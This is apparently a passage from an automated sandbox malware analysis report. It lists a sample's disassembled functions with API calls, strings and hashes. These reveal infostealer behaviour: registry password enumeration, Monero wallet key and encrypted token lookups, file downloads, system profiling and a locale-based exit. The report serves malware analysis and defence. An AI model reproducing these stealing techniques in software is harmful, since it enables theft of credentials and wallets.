Opcode Fuzzy Hash: 462521a8ed232bed8b8acfe8a97540ae8bfd7bbf2e29d8497494d127ab9e64d4
Instruction Fuzzy Hash: 10316FB190010AEFCB48EBF4DC89DFF777ABB55301B148218F106A7290DA34AD46CB66

Function 006772D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00677314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0067733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0067740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00677452
HeapFree.KERNEL32(00000000), ref: 00677459
task.LIBCPMTD ref: 00677555

Strings

Password, xrefs: 00677401

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: eaca6207c86b7f1faeaae9ab20649785af7423051fac6921f63835bc03896158
Instruction ID: 1e421d5557b8466566b36d9032264aecf941ac635ea1c4239ebf8678fc0b9f7a
Opcode Fuzzy Hash: eaca6207c86b7f1faeaae9ab20649785af7423051fac6921f63835bc03896158
Instruction Fuzzy Hash: 936118B59041689BDB24DB50CC45BDAB7B9BF44300F00C1E9E68DA6241EBB06FC9CFA5

Function 00688100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,012BEF28,00000000,?,00690E2C,00000000,?,00000000), ref: 00688130
RtlAllocateHeap.NTDLL(00000000), ref: 00688137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00688158
__aulldiv.LIBCMT ref: 00688172
__aulldiv.LIBCMT ref: 00688180
wsprintfA.USER32 ref: 006881AC

Strings

@, xrefs: 0068814D
%d MB, xrefs: 006881A3

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 90dcdd758337ea7277f2e8646be7971c2848f9c34c492a54fbd7be7a7bfab3ba
Instruction ID: 6ad9a3475cf151c460ac84006a8bed9cf30068bfe2dbd40a72a139f95e3d5abf
Opcode Fuzzy Hash: 90dcdd758337ea7277f2e8646be7971c2848f9c34c492a54fbd7be7a7bfab3ba
Instruction Fuzzy Hash: 8A214DB1E44219AFDB04DFD4CC49FAEB7B9FB44B00F104219F605BB280DB7969018BA5

Function 006760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00674839
Part of subcall function 006747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00674849

InternetOpenA.WININET(00690DF7,00000001,00000000,00000000,00000000), ref: 0067610F
StrCmpCA.SHLWAPI(?,012BF3F0), ref: 00676147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0067618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0067620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00676249
InternetCloseHandle.WININET(?), ref: 00676253
InternetCloseHandle.WININET(00000000), ref: 00676260

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 836d42eb1e014f6b3faaac2f1157bcb63cd5b4cb57c75edba542a3a008df9486
Instruction ID: ba2764f106b14a35397550565cea8a706d34989b79fa5fd357d3b1a6ef423322
Opcode Fuzzy Hash: 836d42eb1e014f6b3faaac2f1157bcb63cd5b4cb57c75edba542a3a008df9486
Instruction Fuzzy Hash: 175171B1900208AFDB64DFA0DC49BEE77B9FB04701F108198B609A71C1DB746A89CF99

Function 0067BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

lstrlen.KERNEL32(00000000), ref: 0067BC9F

Part of subcall function 00688E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00688E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0067BCCD
lstrlen.KERNEL32(00000000), ref: 0067BDA5
lstrlen.KERNEL32(00000000), ref: 0067BDB9

Strings

AccountTokens, xrefs: 0067BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0067BBEB
AccountId, xrefs: 0067BCC4
AccountTokens, xrefs: 0067BABA

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 8f8c4d69ec142c288450b7902453c634d0e3e7c592e1cfdd9555ed7294ac7f2c
Instruction ID: 7667f7e755682b6a8ca8db6394dd3b4ea17980b56c6fa14dfd703007589e0ca7
Opcode Fuzzy Hash: 8f8c4d69ec142c288450b7902453c634d0e3e7c592e1cfdd9555ed7294ac7f2c
Instruction Fuzzy Hash: 91B112B19101049BEF58FBE0CD96EEE733AAF54300F50425DF90666191EF386A49CB76

Function 00686770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00686774
ExitProcess.KERNEL32 ref: 006867A5
ExitProcess.KERNEL32 ref: 006867AF
ExitProcess.KERNEL32 ref: 006867B9
ExitProcess.KERNEL32 ref: 006867C3
ExitProcess.KERNEL32 ref: 006867CD

Strings

*, xrefs: 0068678C

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: c8a8d7e701dbe667d1def28ace848cada5a561b2a2e63c9805f0e1dd74da15b0
Instruction ID: b78bca35f059f6cd35e706221e2b83b4f22608612f8048355df18347e5d35ffb
Opcode Fuzzy Hash: c8a8d7e701dbe667d1def28ace848cada5a561b2a2e63c9805f0e1dd74da15b0
Instruction Fuzzy Hash: 4BF03A3090824DFFE348AFE0E90976C7B70FB04702F040298F64986290DA724A419B9A

Function 00674FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00674FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00674FD1
InternetOpenA.WININET(00690DDF,00000000,00000000,00000000,00000000), ref: 00674FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00675011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00675041
InternetCloseHandle.WININET(?), ref: 006750B9
InternetCloseHandle.WININET(?), ref: 006750C6

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: a81c098c7f0d9926c3ae2e59535fd9c50227ed2778d51694c28bfbed7de8aa71
Instruction ID: 730741dae9a9bdb41f414a594f04322cd9f0f491599e8e46d544b173c6c951d4
Opcode Fuzzy Hash: a81c098c7f0d9926c3ae2e59535fd9c50227ed2778d51694c28bfbed7de8aa71
Instruction Fuzzy Hash: BC31F7B4A40218ABDB24CF54DC85BDCB7B5FB48704F1081D9EA09A7281DBB06EC58F99

Function 006883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00688426
wsprintfA.USER32 ref: 00688459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0068847B
RegCloseKey.ADVAPI32(00000000), ref: 0068848C
RegCloseKey.ADVAPI32(00000000), ref: 00688499

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

RegQueryValueExA.ADVAPI32(00000000,012BEE50,00000000,000F003F,?,00000400), ref: 006884EC
lstrlen.KERNEL32(?), ref: 00688501
RegQueryValueExA.ADVAPI32(00000000,012BEF10,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00690B34), ref: 00688599
RegCloseKey.ADVAPI32(00000000), ref: 00688608
RegCloseKey.ADVAPI32(00000000), ref: 0068861A

Strings

%s\%s, xrefs: 0068844D

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: aa3c42f77fde8fa9ae7dc24e0582fef6c3c5fc154e604c3ca054296187470e7d
Instruction ID: 80179d471e8f625f93cfd43b5c1c835540fe1d13e4ae1dc84e96027a567145b9
Opcode Fuzzy Hash: aa3c42f77fde8fa9ae7dc24e0582fef6c3c5fc154e604c3ca054296187470e7d
Instruction Fuzzy Hash: EC210AB1900218AFDB24DB54DC85FE9B3B9FB48700F40C299A609A6140DF71AA85CFD4

Function 00687690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006876A4
RtlAllocateHeap.NTDLL(00000000), ref: 006876AB
RegOpenKeyExA.ADVAPI32(80000002,012ABD70,00000000,00020119,00000000), ref: 006876DD
RegQueryValueExA.ADVAPI32(00000000,012BEF88,00000000,00000000,?,000000FF), ref: 006876FE
RegCloseKey.ADVAPI32(00000000), ref: 00687708

Strings

Windows 11, xrefs: 006876BD

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2e37ac8c99be04475cb9d6a2b3887a87f9e612f991372e5dc2e67e3d9cba8fd4
Instruction ID: 77dfd77d4bd31523cea142b0e1aa84ee6147c3531c5ef9998d8d773a3fe52a2f
Opcode Fuzzy Hash: 2e37ac8c99be04475cb9d6a2b3887a87f9e612f991372e5dc2e67e3d9cba8fd4
Instruction Fuzzy Hash: 9E014FB5A44204BBEB04EBE4DC49FADB7B9FB48701F104654FA05E7290EA709904CB55

Function 00687720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00687734
RtlAllocateHeap.NTDLL(00000000), ref: 0068773B
RegOpenKeyExA.ADVAPI32(80000002,012ABD70,00000000,00020119,006876B9), ref: 0068775B
RegQueryValueExA.ADVAPI32(006876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0068777A
RegCloseKey.ADVAPI32(006876B9), ref: 00687784

Strings

CurrentBuildNumber, xrefs: 00687771

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 470089ea50ed2a7fc9583e3a0b971923489869367719520c5e38a7b1e1a07402
Instruction ID: 1431571298b3cf25685074d7ccf68a0d4ac56fbcacb8ce336958d83fc10f2f38
Opcode Fuzzy Hash: 470089ea50ed2a7fc9583e3a0b971923489869367719520c5e38a7b1e1a07402
Instruction Fuzzy Hash: 590167B5A40308BFDB04DBE4DC49FAEB7BCFB48701F104258FA05A7281DA705500CB51

Function 006892E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:h,80000000,00000003,00000000,00000003,00000080,00000000,?,00683AEE,?), ref: 006892FC
GetFileSizeEx.KERNEL32(000000FF,:h), ref: 00689319
CloseHandle.KERNEL32(000000FF), ref: 00689327

Strings

:h, xrefs: 00689311, 0068933D, 00689314
:h, xrefs: 006892F8, 006892FB

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :h$:h
API String ID: 1378416451-1831227254
Opcode ID: 2220ffe936f8bf669aa74def050988227801ae1cef8e3a09f687843e5d47ee8c
Instruction ID: 9758bf300d523cd9adc3221c8bb084cc886864d85e028c45487cd2adffe64c80
Opcode Fuzzy Hash: 2220ffe936f8bf669aa74def050988227801ae1cef8e3a09f687843e5d47ee8c
Instruction Fuzzy Hash: F7F03C75E44208BBDB14EBB0DC49BAE77FABB58710F108394B651A72C0DA7196018F94

Function 006840B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

